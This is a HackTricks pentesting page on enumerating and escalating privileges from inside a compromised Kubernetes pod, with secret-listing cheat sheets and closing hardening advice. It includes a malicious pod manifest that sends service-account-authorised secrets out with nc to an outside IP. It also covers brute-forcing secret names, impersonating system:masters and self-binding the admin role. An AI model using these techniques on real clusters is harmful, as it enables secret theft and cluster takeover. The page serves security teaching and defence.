hacktricks/pentesting/pentesting-kubernetes/enumeration-from-a-pod.md

331 lines
14 KiB
Markdown
Raw Normal View History

2021-04-28 01:18:16 +02:00
# Enumeration from a Pod
In a situation where you have managed to break into a Kubernetes Pod you could start enumerating the kubernetes environment from within.
## Service Account Tokens
2021-04-28 16:34:35 +02:00
Before continuing, if you don't know what is a service in Kubernetes I would suggest you to [**follow this link and read at least the information about Kubernetes architecture**](./#architecture)**.**
**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token \(JWT\), a method for representing claims securely between two parties.
2021-04-28 01:18:16 +02:00
Usually in the directory `/run/secrets/kubernetes.io/serviceaccount` or `/var/run/secrets/kubernetes.io/serviceaccount` you can find the files:
* **ca.crt**: It's the ca certificate to check kubernetes communications
* **namespace**: It indicates the current namespace
* **token**: It contains the **service token** of the current pod.
The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**.
Default location on **Kubernetes**:
* /etc/kubernetes/pki
Default location on **Minikube**:
* /var/lib/localkube/certs
Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
### Hot Pods
_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
## RBAC
## Risky Permissions
### Listing Secrets
A user with a role that allows listing secrets \(Figure 8\) can potentially view all the secrets in a specific namespace \(as in our example\) or in the whole cluster \(with ClusterRole\).
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing_secrets_role.png)
Below you can find the way to [**list secrets**](enumeration-from-a-pod.md#get-secrets).
### **Creating a pod with a privileged service account**
An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a service account with privileged permissions, the permissions can be used to escalate privileges.
![](../../.gitbook/assets/image%20%28469%29.png)
Here we have a default privileged account named _bootstrap-signer_ with permissions to list all secrets.
![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebinding_with_cluster_admin_clusterrole-1024x545.png)
The attacker can create a malicious pod that will use the privileged service. Then, abusing the service token, it will ex-filtrate the secrets:
![](https://www.cyberark.com/wp-content/uploads/2018/12/pods_yaml_with_autoamountServiceAccountToken-1024x345.png)
2021-04-28 15:10:05 +02:00
```yaml
piVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
In the previous image note how the _bootstrap-signer service is used in_ `serviceAccountname`_._
So just create the malicious pod and expect the secrets in port 6666:
![](../../.gitbook/assets/image%20%28470%29.png)
### **Impersonating privileged accounts**
With a [user impersonation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account.
In this example, the service account _sa-imper_ has a binding to a ClusterRole with rules that allow it to impersonate groups and users.
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_for_user_impersonation.png)
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_for_user_impersonation_2.png)
When trying to list all secrets it will fail with a “forbidden” message:
_Error from server \(**Forbidden**\): secrets is forbidden: User “system:serviceaccount:default:sa-imper” cannot list secrets in the namespace “default”_
After using `--ass=null --as-group=system:master`s it will be granted full permissions:
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing_secrets_with_and_without_user_impersonation-1024x108.png)
### **Reading a secret brute-forcing token IDs**
An attacker that found a token with permission to read a secret cant use this permission without knowing the full secrets name. This permission is different from the _**listing** **secrets**_ permission described above.
![](https://www.cyberark.com/wp-content/uploads/2018/12/getting_secret_clusterRole.png)
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRoleBinding_with_get_secrets_clusterRole.png)
Although the attacker doesnt know the secrets name, there are default service accounts that can be enlisted.
![](https://www.cyberark.com/wp-content/uploads/2018/12/default_service_accounts_list.png)
Each service account has an associated secret with a static \(non-changing\) prefix and a postfix of a random five-character string token at the end.
2021-04-28 01:18:16 +02:00
![](https://www.cyberark.com/wp-content/uploads/2018/12/default_service_account_on_kube_system_namespace-1024x556.png)
The random token structure is 5-character string built from alphanumeric \(lower letters and digits\) characters. **But it doesnt contain all the letters and digits.**
When looking inside the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83), it appears that the token is generated from only 27 characters “bcdfghjklmnpqrstvwxz2456789” and not 36 \(a-z and 0-9\)
![](https://www.cyberark.com/wp-content/uploads/2018/12/character_set_from_rand_go.png)
![](https://www.cyberark.com/wp-content/uploads/2018/12/comments_on_removing_characters_rand_go_character_set-1024x138.png)
This means that there are 275 = 14,348,907 possibilities for a token.
An attacker can run a brute-force attack to guess the token ID in couple of hours. Succeeding to get secrets from default sensitive service accounts will allow him to escalate privileges.
### **Creating privileged RoleBindings**
The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin_ ClusterRole \(default high privileged role\) and to add any user, including itself, to this admin ClusterRole.
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_with_bind_verb.png)
The attacker can create a RoleBinding with the default existing _admin_ ClusterRole and bind it to a compromised user, in our case the compromised accounts _sa2_:
![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebinding_with_admin_clusterRole_cretaed_by_the_attacker.png)
By creating this RoleBinding, the service account _sa2_ is becoming a root on the cluster and can execute privileged tasks \(reading secrets, creating pods, etc.\).
## Enumeration CheatSheet
To enumerate the environment you can upload the [**kubectl**](https://kubernetes.io/es/docs/tasks/tools/install-kubectl/) binary and use it. Also, using the **service** **token** obtained before you can manually access some endpoints of the **API Server**.
2021-04-28 01:18:16 +02:00
In order to find the the IP of the API service check the environment for a variable called `KUBERNETES_SERVICE_HOST`.
### Get namespaces
{% tabs %}
{% tab title="kubectl" %}
```bash
./kubectl get namespaces
```
{% endtab %}
{% tab title="API" %}
```bash
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/
```
{% endtab %}
{% endtabs %}
### Get Current Privileges
{% tabs %}
{% tab title="kubectl" %}
```bash
./kubectl auth can-i --list #Get privileges in current namespace
./kubectl auth can-i --list -n custnamespace #Get privileves in custnamespace
```
{% endtab %}
{% endtabs %}
### Get Current Context
{% tabs %}
{% tab title="Kubectl" %}
```text
kubectl config current-context
```
{% endtab %}
{% endtabs %}
2021-04-28 01:18:16 +02:00
### Get secrets
{% tabs %}
{% tab title="kubectl" %}
```text
./kubectl get secrets -o yaml
./kubectl get secrets -o yaml -n custnamespace
2021-04-28 01:18:16 +02:00
```
{% endtab %}
{% tab title="API" %}
```bash
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/secrets/
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/custnamespace/secrets/
```
{% endtab %}
{% endtabs %}
### Get deployments
{% tabs %}
{% tab title="kubectl" %}
```text
./kubectl get deployments
./kubectl get deployments -n custnamespace
```
{% endtab %}
{% tab title="API" %}
```bash
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/deployments/
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/custnamespace/deployments/
```
{% endtab %}
{% endtabs %}
### Get deployments
{% tabs %}
{% tab title="kubectl" %}
```text
./kubectl get pods
./kubectl get pods -n custnamespace
```
{% endtab %}
{% tab title="API" %}
```bash
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/pods/
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/custnamespace/pods/
```
{% endtab %}
{% endtabs %}
### Get deployments
{% tabs %}
{% tab title="kubectl" %}
```text
./kubectl get nodes
```
{% endtab %}
{% tab title="API" %}
```bash
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/nodes/
```
{% endtab %}
{% endtabs %}
## Built-in Privileged Escalation Prevention
Although there can be risky permissions, Kubernetes is doing good work preventing other types of permissions with potential for privileged escalation.
Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) for that:
“The RBAC API **prevents users from escalating privileges** by editing roles or role bindings. Because this is enforced at the API level, it applies even when the RBAC authorizer is not in use.
A user can only **create/update a role if they already have all the permissions contained in the role**, at the same scope as the role \(cluster-wide for a ClusterRole, within the same namespace or cluster-wide for a Role\)”
Lets see an example for such prevention.
A service account named _sa7_ is in a RoleBinding _edit-role-rolebinding_. This RoleBinding object has a role named _edit-role_ that has **full permissions rules** on roles. Theoretically, it means that the service account can **edit** **any role** in the _default_ namespace.
![](https://www.cyberark.com/wp-content/uploads/2018/12/edit_roles_roleBinding_binding_sa7_to_edit_role.png)
![](https://www.cyberark.com/wp-content/uploads/2018/12/role_to_edit_any_role.png)
There is also an existing role named _list-pods_. Anyone with this role can list all the pods on the _default_ namespace. The user _sa7_ should have permissions to edit any roles, so lets see what happens when it tries to add the “secrets” resource to the roles resources.
![](https://www.cyberark.com/wp-content/uploads/2018/12/edit_role_resources-300x66.png)
After trying to do so, we will receive an error “forbidden: attempt to grant extra privileges” \(Figure 31\), because although our _sa7_ user has permissions to update roles for any resource, it can update the role only for resources that it has permissions over.
![](https://www.cyberark.com/wp-content/uploads/2018/12/forbidden_attempt_to_gran_extra_privileges_message-1024x288.png)
## Best Practices
### **Prevent service account token automounting on pods**
When a pod is being created, it automatically mounts a service account \(the default is default service account in the same namespace\). Not every pod needs the ability to utilize the API from within itself.
From version 1.6+ it is possible to prevent automounting of service account tokens on pods using automountServiceAccountToken: false. It can be used on service accounts or pods.
On a service account it should be added like this:
![](https://www.cyberark.com/wp-content/uploads/2018/12/serviceAccount_with_autoamountServiceAccountToken_false.png)
It is also possible to use it on the pod:
![](https://www.cyberark.com/wp-content/uploads/2018/12/pod_with_autoamountServiceAccountToken_false.png)
### **Grant specific users to RoleBindings\ClusterRoleBindings**
When creating RoleBindings\ClusterRoleBindings, make sure that only the users that need the role in the binding are inside. It is easy to forget users that are not relevant anymore inside such groups.
### **Use Roles and RoleBindings instead of ClusterRoles and ClusterRoleBindings**
When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster. A user in such a group has its permissions over all the namespaces, which is sometimes unnecessary. Roles and RoleBindings can be applied on a specific namespace and provide another layer of security.
### **Use automated tools**
{% embed url="https://github.com/cyberark/KubiScan" %}
## **References**
{% embed url="https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions" %}
2021-04-28 01:18:16 +02:00
\*\*\*\*
2021-04-28 01:18:16 +02:00